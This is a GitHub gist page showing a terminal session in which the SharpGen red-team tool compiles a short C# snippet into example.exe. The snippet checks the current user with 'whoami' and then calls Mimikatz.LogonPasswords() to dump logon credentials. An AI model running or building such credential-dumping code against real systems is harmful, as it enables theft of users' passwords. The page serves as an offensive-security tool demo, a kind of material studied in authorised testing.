Created
November 6, 2018 15:53
-
-
Save cobbr/f53e8b2c2fffcdaae3a689db96e24176 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cobbr@mac:~/SharpGen > cat example.txt | |
string whoami = Shell.ShellExecute("whoami"); | |
if (whoami == "SomeUser") | |
{ | |
Console.WriteLine(Mimikatz.LogonPasswords()); | |
} | |
cobbr@mac:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt | |
... | |
[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment